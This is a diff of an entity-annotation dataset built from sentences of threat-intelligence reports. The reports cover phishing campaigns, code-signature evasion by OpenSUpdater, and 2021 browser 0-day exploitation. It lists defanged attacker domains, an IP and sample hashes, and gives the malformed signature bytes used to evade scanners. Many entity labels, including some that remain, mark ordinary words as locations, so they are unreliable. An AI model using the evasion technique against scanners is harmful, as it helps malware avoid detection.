-{"id":12085,"text":"Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.","entities":[{"id":37409,"label":"location","start_offset":22,"end_offset":26},{"id":37410,"label":"location","start_offset":59,"end_offset":62},{"id":37411,"label":"location","start_offset":109,"end_offset":117},{"id":37412,"label":"location","start_offset":187,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":12086,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":37413,"label":"APT","start_offset":16,"end_offset":21},{"id":37414,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":37415,"label":"location","start_offset":31,"end_offset":39},{"id":37416,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":37417,"label":"URL","start_offset":229,"end_offset":255},{"id":37418,"label":"location","start_offset":256,"end_offset":260},{"id":37419,"label":"URL","start_offset":292,"end_offset":318},{"id":37420,"label":"location","start_offset":319,"end_offset":323},{"id":37421,"label":"URL","start_offset":340,"end_offset":366},{"id":37422,"label":"location","start_offset":367,"end_offset":371},{"id":37423,"label":"malware","start_offset":410,"end_offset":417},{"id":37424,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
+{"id":12086,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":37413,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":37414,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":37415,"label":"location","start_offset":31,"end_offset":39},{"id":37416,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":37417,"label":"URL","start_offset":229,"end_offset":255},{"id":37418,"label":"location","start_offset":256,"end_offset":260},{"id":37419,"label":"URL","start_offset":292,"end_offset":318},{"id":37420,"label":"location","start_offset":319,"end_offset":323},{"id":37421,"label":"URL","start_offset":340,"end_offset":366},{"id":37422,"label":"location","start_offset":367,"end_offset":371},{"id":37423,"label":"malware","start_offset":410,"end_offset":417},{"id":37424,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
 {"id":12087,"text":"Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info  ","entities":[{"id":37425,"label":"attack-pattern","start_offset":0,"end_offset":8},{"id":37426,"label":"location","start_offset":30,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":12088,"text":"Android App: https:\/\/www.virustotal.com\/gui\/file\/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5\/detection  Android App C2: communication-shield[.]site cdsa[.]xyz","entities":[],"relations":[],"Comments":[]}
-{"id":12089,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":37428,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":12090,"text":"Understanding the techniques used by attackers helps us counter these threats effectively.","entities":[],"relations":[],"Comments":[]}
-{"id":12091,"text":"This blog post is intended to highlight a new evasion technique we identified, which is currently being used by a financially motivated threat actor to avoid detection.","entities":[{"id":37429,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":12092,"text":"Attackers often rely on varying behaviors between different systems to gain access.","entities":[{"id":37430,"label":"location","start_offset":42,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":12093,"text":"For instance, attacker’s may bypass filtering by convincing a mail gateway that a document is benign so the computer treats it as an executable program.","entities":[{"id":37431,"label":"location","start_offset":25,"end_offset":28},{"id":37432,"label":"location","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":12094,"text":"In the case of the attack outlined below, we see that attackers created malformed code signatures that are treated as valid by Windows but are not able to be decoded or checked by OpenSSL code — which is used in a number of security scanning products.","entities":[{"id":37433,"label":"location","start_offset":7,"end_offset":11},{"id":37434,"label":"location","start_offset":103,"end_offset":106},{"id":37436,"label":"location","start_offset":139,"end_offset":142},{"id":37438,"label":"location","start_offset":224,"end_offset":232}],"relations":[],"Comments":[]}
 {"id":12095,"text":"We believe this is a technique the attacker is using to evade detection rules.","entities":[],"relations":[],"Comments":[]}
 {"id":12096,"text":"Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.","entities":[],"relations":[],"Comments":[]}
-{"id":12097,"text":"Attackers who are able to obscure their identity in signatures without affecting the integrity of the signature can avoid detection longer and extend the lifetime of their code-signing certificates to infect more systems.","entities":[{"id":37440,"label":"location","start_offset":14,"end_offset":17},{"id":37441,"label":"location","start_offset":112,"end_offset":115},{"id":37442,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":12098,"text":"OpenSUpdater, a known family of unwanted software which violates our policies and is harmful to the user experience, is used to download and install other suspicious programs.","entities":[{"id":37444,"label":"location","start_offset":78,"end_offset":81},{"id":37445,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":12099,"text":"The actor behind OpenSUpdater tries to infect as many users as possible and while they do not have specific targeting, most targets appear to be within the United States and prone to downloading game cracks and grey-area software.","entities":[{"id":37447,"label":"location","start_offset":49,"end_offset":53},{"id":37448,"label":"location","start_offset":72,"end_offset":75},{"id":37449,"label":"location","start_offset":119,"end_offset":123},{"id":37451,"label":"location","start_offset":170,"end_offset":173},{"id":37452,"label":"location","start_offset":207,"end_offset":210}],"relations":[],"Comments":[]}
-{"id":12100,"text":"Groups of OpenSUpdater samples are often signed with the same code-signing certificate, obtained from a legitimate certificate authority.","entities":[{"id":37454,"label":"location","start_offset":31,"end_offset":34},{"id":37455,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":12101,"text":"Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.","entities":[{"id":37457,"label":"malware","start_offset":18,"end_offset":30},{"id":37458,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":12102,"text":"In these new samples, the signature was edited such that an End of Content (EOC) marker replaced a NULL tag for the 'parameters' element of the SignatureAlgorithm signing the leaf X.509 certificate.","entities":[{"id":37459,"label":"location","start_offset":67,"end_offset":74},{"id":37460,"label":"location","start_offset":175,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":12103,"text":"EOC markers terminate indefinite-length encodings, but in this case an EOC is used within a definite-length encoding (l= 13).  ","entities":[{"id":37461,"label":"location","start_offset":63,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":12104,"text":"Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00","entities":[],"relations":[],"Comments":[]}
-{"id":12105,"text":"Decodes to the following elements: SEQUENCE (2 elem) OBJECT IDENTIFIER 1.2.840.113549.1.1.11 sha256WithRSAEncryption (PKCS #1) EOC  Security products using OpenSSL to extract signature information will reject this encoding as invalid.","entities":[{"id":37462,"label":"location","start_offset":132,"end_offset":140},{"id":37463,"label":"location","start_offset":197,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":12106,"text":"However, to a parser that permits these encodings, the digital signature of the binary will otherwise appear legitimate and valid.","entities":[{"id":37464,"label":"location","start_offset":87,"end_offset":91},{"id":37465,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":12107,"text":"This is the first time TAG has observed actors using this technique to evade detection while preserving a valid digital signature on PE files.","entities":[{"id":37467,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":12108,"text":"As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.","entities":[],"relations":[],"Comments":[]}
-{"id":12109,"text":"This issue has been reported to Microsoft.","entities":[{"id":37468,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":12110,"text":"Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.","entities":[{"id":37470,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":12111,"text":"The following are samples using this evasion: https:\/\/www.virustotal.com\/gui\/file\/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f\/detection","entities":[{"id":37471,"label":"location","start_offset":14,"end_offset":17},{"id":37472,"label":"SHA1","start_offset":46,"end_offset":156}],"relations":[],"Comments":[]}
 {"id":12112,"text":"New variant: https:\/\/www.virustotal.com\/gui\/file\/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db\/detection","entities":[{"id":37473,"label":"URL","start_offset":13,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":12113,"text":"Our team is working in collaboration with Google Safe Browsing to protect users from downloading and executing this family of unwanted software.","entities":[{"id":37475,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":12114,"text":"Users are encouraged to only download and install software from reputable and trustworthy sources.","entities":[{"id":37476,"label":"location","start_offset":6,"end_offset":9},{"id":37477,"label":"location","start_offset":24,"end_offset":28},{"id":37478,"label":"location","start_offset":38,"end_offset":41},{"id":37479,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":12115,"text":" Zero-day vulnerabilities are unknown software flaws.","entities":[{"id":37481,"label":"location","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":12116,"text":"Until they’re identified and fixed, they can be exploited by attackers.","entities":[{"id":37482,"label":"location","start_offset":25,"end_offset":28},{"id":37483,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":12117,"text":"Google’s Threat Analysis Group (TAG) actively works to detect hacking attempts and influence operations to protect users from digital attacks, this includes hunting for these types of vulnerabilities because they can be particularly dangerous when exploited and have a high rate of success.","entities":[{"id":37486,"label":"location","start_offset":79,"end_offset":82},{"id":37487,"label":"location","start_offset":157,"end_offset":164},{"id":37488,"label":"location","start_offset":213,"end_offset":216},{"id":37489,"label":"location","start_offset":258,"end_offset":261},{"id":37490,"label":"location","start_offset":282,"end_offset":289}],"relations":[],"Comments":[]}
-{"id":12118,"text":"In this blog, we’re sharing details about four in-the-wild 0-day campaigns targeting four separate vulnerabilities we’ve discovered so far this year: CVE-2021-21166 and CVE-2021-30551 in Chrome, CVE-2021-33742 in Internet Explorer, and CVE-2021-1879 in WebKit (Safari).","entities":[{"id":37495,"label":"location","start_offset":165,"end_offset":168},{"id":37497,"label":"location","start_offset":232,"end_offset":235}],"relations":[],"Comments":[]}
 {"id":12119,"text":"The four exploits were used as a part of three different campaigns.","entities":[],"relations":[],"Comments":[]}
-{"id":12120,"text":"As is our policy, after discovering these 0-days, we quickly reported to the vendor and patches were released to users to protect them from these attacks.","entities":[{"id":37501,"label":"location","start_offset":77,"end_offset":83},{"id":37502,"label":"location","start_offset":84,"end_offset":87},{"id":37503,"label":"location","start_offset":130,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":12121,"text":"We assess three of these exploits were developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors.","entities":[{"id":37505,"label":"location","start_offset":56,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":12122,"text":"Google has also published root cause analyses (RCAs) on each of the 0-days.","entities":[{"id":37508,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":12123,"text":"In addition to the technical details, we’ll also provide our take on the large uptick of in-the-wild 0-day attacks the industry is seeing this year.","entities":[{"id":37510,"label":"location","start_offset":73,"end_offset":78},{"id":37512,"label":"location","start_offset":119,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":12124,"text":"Halfway into 2021, there have been 33 0-day exploits used in attacks that have been publicly disclosed this year — 11 more than the total number from 2020.","entities":[{"id":37514,"label":"location","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":12125,"text":"While there is an increase in the number of 0-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend.","entities":[{"id":37522,"label":"location","start_offset":100,"end_offset":103},{"id":37523,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":12126,"text":"Over the past several months, we have discovered two Chrome renderer remote code execution 0-day exploits, CVE-2021-21166 and ​​CVE-2021-30551, which we believe to be used by the same actor.","entities":[{"id":37526,"label":"location","start_offset":69,"end_offset":75},{"id":37528,"label":"location","start_offset":122,"end_offset":125},{"id":37529,"label":"location","start_offset":179,"end_offset":183}],"relations":[],"Comments":[]}
-{"id":12127,"text":"CVE-2021-21166 was discovered in February 2021 while running Chrome 88.0.4323.182 and CVE-2021-30551 was discovered in June 2021 while running Chrome 91.0.4472.77.","entities":[{"id":37531,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":12128,"text":"Both of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia.","entities":[{"id":37533,"label":"location","start_offset":39,"end_offset":42},{"id":37534,"label":"location","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":12129,"text":"The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.","entities":[],"relations":[],"Comments":[]}
-{"id":12130,"text":"When a target clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client and generate ECDH keys to encrypt the exploits, and then send this data back to the exploit server.","entities":[{"id":37536,"label":"location","start_offset":7,"end_offset":13},{"id":37537,"label":"location","start_offset":147,"end_offset":150},{"id":37538,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
 {"id":12131,"text":"The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.","entities":[{"id":37539,"label":"attack-pattern","start_offset":35,"end_offset":49},{"id":37540,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":12132,"text":"This information was collected by the attackers to decide whether or not an exploit should be delivered to the target.","entities":[{"id":37541,"label":"location","start_offset":111,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":12133,"text":"Using appropriate configurations, we were able to recover two 0-day exploits (CVE-2021-21166 & CVE-2021-30551), which were targeting the latest versions of Chrome on Windows at the time of delivery.","entities":[{"id":37544,"label":"location","start_offset":181,"end_offset":185}],"relations":[],"Comments":[]}
-{"id":12134,"text":"After the renderer is compromised, an intermediary stage is executed to gather more information about the infected device including OS build version, CPU, firmware and BIOS information.","entities":[{"id":37545,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":12135,"text":"This is likely collected in an attempt to detect virtual machines and deliver a tailored sandbox escape to the target.","entities":[{"id":37546,"label":"location","start_offset":8,"end_offset":14},{"id":37547,"label":"location","start_offset":66,"end_offset":69},{"id":37548,"label":"location","start_offset":111,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":12136,"text":"In our environment, we did not receive any payloads past this stage.","entities":[],"relations":[],"Comments":[]}
-{"id":12137,"text":"While analyzing CVE-2021-21166 we realized the vulnerability was also in code shared with WebKit and therefore Safari was also vulnerable.","entities":[{"id":37549,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":12138,"text":"Apple fixed the issue as CVE-2021-1844.","entities":[{"id":37551,"label":"location","start_offset":16,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":12139,"text":"We do not have any evidence that this vulnerability was used to target Safari users.","entities":[{"id":37552,"label":"location","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":12140,"text":"Related IOCs lragir[.]org armradio[.]org asbares[.]com armtimes[.]net armlur[.]org armenpress[.]org hraparak[.]org armtimes[.]org hetq[.]org","entities":[],"relations":[],"Comments":[]}
-{"id":12141,"text":"Despite Microsoft announcing the retirement of Internet Explorer 11, planned for June 2022, attackers continue to develop creative ways to load malicious content inside Internet Explorer engines to exploit vulnerabilities.","entities":[{"id":37556,"label":"location","start_offset":139,"end_offset":143},{"id":37557,"label":"location","start_offset":154,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":12142,"text":"For example, earlier this year, North Korean attackers distributed MHT files embedding an exploit for CVE-2021-26411.","entities":[{"id":37560,"label":"location","start_offset":111,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":12143,"text":"These files are automatically opened in Internet Explorer when they are double clicked by the user.","entities":[{"id":37561,"label":"location","start_offset":12,"end_offset":15},{"id":37562,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":12144,"text":"In April 2021, TAG discovered a campaign targeting Armenian users with malicious Office documents that loaded web content within Internet Explorer.","entities":[{"id":37564,"label":"location","start_offset":32,"end_offset":40},{"id":37567,"label":"location","start_offset":114,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":12145,"text":"This happened by either embedding a remote ActiveX object using a Shell.Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page.","entities":[{"id":37568,"label":"location","start_offset":36,"end_offset":42},{"id":37569,"label":"location","start_offset":66,"end_offset":71},{"id":37570,"label":"location","start_offset":174,"end_offset":178}],"relations":[],"Comments":[]}
-{"id":12146,"text":"At the time, we were unable to recover the next stage payload, but successfully recovered the exploit after an early June campaign from the same actors.","entities":[{"id":37571,"label":"location","start_offset":7,"end_offset":11},{"id":37573,"label":"location","start_offset":122,"end_offset":130},{"id":37574,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]}
 {"id":12147,"text":"After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.","entities":[{"id":37575,"label":"attack-pattern","start_offset":8,"end_offset":22},{"id":37576,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":12148,"text":"This vulnerability was assigned CVE-2021-33742 and fixed by Microsoft in June 2021.","entities":[{"id":37579,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":12149,"text":"The exploit loaded an intermediary stage similar to the one used in the Chrome exploits.","entities":[{"id":37582,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":12150,"text":"We did not recover additional payloads in our environment.","entities":[],"relations":[],"Comments":[]}
 {"id":12151,"text":"During our investigation we discovered several documents uploaded to VirusTotal.","entities":[],"relations":[],"Comments":[]}
-{"id":12152,"text":"Based on our analysis, we assess that the Chrome and Internet Explorer exploits described here were developed and sold by the same vendor providing surveillance capabilities to customers around the world.","entities":[{"id":37585,"label":"location","start_offset":49,"end_offset":52},{"id":37586,"label":"location","start_offset":110,"end_offset":113},{"id":37587,"label":"location","start_offset":126,"end_offset":130},{"id":37588,"label":"location","start_offset":131,"end_offset":137},{"id":37589,"label":"location","start_offset":198,"end_offset":203}],"relations":[],"Comments":[]}
-{"id":12153,"text":"On July 15, 2021 Citizen Lab published a report tying the activity to spyware vendor Candiru.","entities":[{"id":37592,"label":"location","start_offset":78,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":12154,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
 {"id":12155,"text":"Examples of related Office documents uploaded to VirusTotal: https:\/\/www.virustotal.com\/gui\/file\/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67\/detection https:\/\/www.virustotal.com\/gui\/file\/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb\/detection","entities":[{"id":37596,"label":"URL","start_offset":61,"end_offset":171},{"id":37597,"label":"SHA1","start_offset":172,"end_offset":282}],"relations":[],"Comments":[]}
 {"id":12156,"text":"Unique URLs serving ​​CVE-2021-33742 Internet Explorer exploit: http:\/\/lioiamcount[.]com\/IsnoMLgankYg6\/EjlYIy7cdFZFeyFqE4IURS1 http:\/\/db-control-uplink[.]com\/eFe1J00hISDe9Zw\/gzHvIOlHpIXB http:\/\/kidone[.]xyz\/VvE0yYArmvhyTl\/GzV","entities":[{"id":37598,"label":"URL","start_offset":64,"end_offset":88},{"id":37599,"label":"URL","start_offset":127,"end_offset":136},{"id":37600,"label":"URL","start_offset":187,"end_offset":206}],"relations":[],"Comments":[]}
 {"id":12157,"text":"Word documents with the following classid: {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} Related infrastructure: workaj[.]com wordzmncount[.]com Not all attacks require chaining multiple 0-day exploits to be successful.","entities":[],"relations":[],"Comments":[]}
-{"id":12158,"text":"A recent example is CVE-​2021-1879 that was discovered by TAG on March 19, 2021, and used by a likely Russian government-backed actor.","entities":[{"id":37603,"label":"location","start_offset":81,"end_offset":84},{"id":37604,"label":"location","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":12159,"text":"(NOTE: This exploit is not connected to the other three we’ve discussed above.)","entities":[],"relations":[],"Comments":[]}
-{"id":12160,"text":"In this campaign, attackers used LinkedIn Messaging to target government officials from western European countries by sending them malicious links.","entities":[{"id":37607,"label":"location","start_offset":8,"end_offset":16},{"id":37609,"label":"location","start_offset":55,"end_offset":61},{"id":37610,"label":"location","start_offset":88,"end_offset":95},{"id":37612,"label":"location","start_offset":126,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":12161,"text":"If the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next stage payloads.","entities":[{"id":37613,"label":"location","start_offset":7,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":12162,"text":"The campaign targeting iOS devices coincided with campaigns from the same actor targeting users on Windows devices to deliver Cobalt Strike, one of which was previously described by Volexity.","entities":[{"id":37614,"label":"location","start_offset":4,"end_offset":12},{"id":37615,"label":"location","start_offset":69,"end_offset":73},{"id":37618,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":12163,"text":"After several validation checks to ensure the device being exploited was a real device, the final payload would be served to exploit CVE-​2021-1879.","entities":[{"id":37620,"label":"location","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":12164,"text":"This exploit would turn off Same-Origin-Policy protections in order to collect authentication cookies from several popular websites, including Google, Microsoft, LinkedIn, Facebook and Yahoo and send them via WebSocket to an attacker-controlled IP.","entities":[{"id":37621,"label":"location","start_offset":28,"end_offset":32},{"id":37626,"label":"location","start_offset":181,"end_offset":184},{"id":37628,"label":"location","start_offset":191,"end_offset":194},{"id":37629,"label":"location","start_offset":200,"end_offset":204}],"relations":[],"Comments":[]}
 {"id":12165,"text":"The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.","entities":[],"relations":[],"Comments":[]}
 {"id":12166,"text":"There was no sandbox escape or implant delivered via this exploit.","entities":[],"relations":[],"Comments":[]}
 {"id":12167,"text":"The exploit targeted iOS versions 12.4 through 13.7.","entities":[],"relations":[],"Comments":[]}
-{"id":12168,"text":"This type of attack, described by Amy Burnett in Forget the Sandbox Escape: Abusing Browsers from Code Execution, are mitigated in browsers with Site Isolation enabled such as Chrome or Firefox.","entities":[{"id":37630,"label":"location","start_offset":5,"end_offset":9},{"id":37633,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":12169,"text":"Related IOCs supportcdn.web[.]app vegmobile[.]com 111.90.146[.]198","entities":[{"id":37634,"label":"IPV4","start_offset":50,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":12170,"text":"There is not a one-to-one relationship between the number of 0-days being used in-the-wild and the number of 0-days being detected and disclosed as in-the-wild.","entities":[{"id":37635,"label":"location","start_offset":15,"end_offset":18},{"id":37636,"label":"location","start_offset":22,"end_offset":25},{"id":37637,"label":"location","start_offset":39,"end_offset":46},{"id":37639,"label":"location","start_offset":91,"end_offset":94},{"id":37641,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":12171,"text":"The attackers behind 0-day exploits generally want their 0-days to stay hidden and unknown because that’s how they’re most useful.","entities":[{"id":37644,"label":"location","start_offset":79,"end_offset":82},{"id":37645,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":12172,"text":"Based on this, there are multiple factors that could be contributing to the uptick in the number of 0-days that are disclosed as in-the-wild: Increase in detection & disclosure","entities":[{"id":37646,"label":"location","start_offset":21,"end_offset":24},{"id":37648,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":12173,"text":"This year, Apple began annotating vulnerabilities in their security bulletins to include notes if there is reason to believe that a vulnerability may be exploited in-the-wild and Google added these annotations to their Android bulletins.","entities":[{"id":37651,"label":"location","start_offset":59,"end_offset":67},{"id":37652,"label":"location","start_offset":146,"end_offset":149},{"id":37653,"label":"location","start_offset":175,"end_offset":178}],"relations":[],"Comments":[]}
-{"id":12174,"text":"When vendors don’t include these annotations, the only way the public can learn of the in-the-wild exploitation is if the researcher or group who knows of the exploitation publishes the information themselves.","entities":[{"id":37656,"label":"location","start_offset":50,"end_offset":54},{"id":37657,"label":"location","start_offset":55,"end_offset":58},{"id":37658,"label":"location","start_offset":63,"end_offset":69},{"id":37659,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":12175,"text":"In addition to beginning to disclose when 0-days are believed to be exploited in-the-wild, it wouldn’t be surprising if there are more 0-day detection efforts, and successes, occurring as a result.","entities":[{"id":37661,"label":"location","start_offset":49,"end_offset":52},{"id":37662,"label":"location","start_offset":126,"end_offset":129},{"id":37664,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":12176,"text":"It’s also possible that more people are focusing on discovering 0-days in-the-wild and\/or reporting the 0-days that they found in the wild.","entities":[{"id":37665,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":12177,"text":"Increased Utilization","entities":[],"relations":[],"Comments":[]}
-{"id":12178,"text":"There is also the possibility that attackers are using more 0-day exploits.","entities":[{"id":37667,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":12179,"text":"There are a few reasons why this is likely:    Over the last decade, we believe there has been an increase in attackers using 0-day exploits.","entities":[{"id":37669,"label":"location","start_offset":6,"end_offset":9},{"id":37670,"label":"location","start_offset":36,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":12180,"text":"Attackers needing more 0-day exploits to maintain their capabilities is a good thing — and it  ","entities":[{"id":37674,"label":"location","start_offset":74,"end_offset":78},{"id":37675,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":12181,"text":"reflects increased cost to the attackers from security measures that close known vulnerabilities.","entities":[{"id":37676,"label":"location","start_offset":19,"end_offset":23},{"id":37677,"label":"location","start_offset":46,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":12182,"text":"However, the increasing demand for these capabilities and the ecosystem that supplies them is more of a challenge.","entities":[{"id":37678,"label":"location","start_offset":54,"end_offset":57},{"id":37679,"label":"location","start_offset":86,"end_offset":90},{"id":37680,"label":"location","start_offset":104,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":12183,"text":"0-day capabilities used to be only the tools of select nation states who had the technical expertise to find 0-day vulnerabilities, develop them into exploits, and then strategically operationalize their use.","entities":[{"id":37682,"label":"location","start_offset":30,"end_offset":34},{"id":37684,"label":"location","start_offset":140,"end_offset":144},{"id":37685,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
 {"id":12184,"text":"In the mid-to-late 2010s, more private companies have joined the marketplace selling these 0-day capabilities.","entities":[],"relations":[],"Comments":[]}
 {"id":12185,"text":"No longer do groups need to have the technical expertise, now they just need resources.","entities":[{"id":37688,"label":"identity","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":12186,"text":"Three of the four 0-days that TAG has discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.","entities":[{"id":37694,"label":"location","start_offset":116,"end_offset":119},{"id":37695,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":12187,"text":"Meanwhile, improvements in detection and a growing culture of disclosure likely contribute to the significant uptick in 0-days detected in 2021 compared to 2020, but reflect more positive trends.","entities":[{"id":37696,"label":"location","start_offset":37,"end_offset":40},{"id":37697,"label":"location","start_offset":73,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":12188,"text":"Those of us working on protecting users from 0-day attacks have long suspected that overall, the industry detects only a small percentage of the 0-days actually being used.","entities":[{"id":37702,"label":"location","start_offset":64,"end_offset":68},{"id":37703,"label":"location","start_offset":84,"end_offset":91},{"id":37704,"label":"location","start_offset":97,"end_offset":105},{"id":37705,"label":"location","start_offset":114,"end_offset":118},{"id":37706,"label":"location","start_offset":121,"end_offset":126}],"relations":[],"Comments":[]}
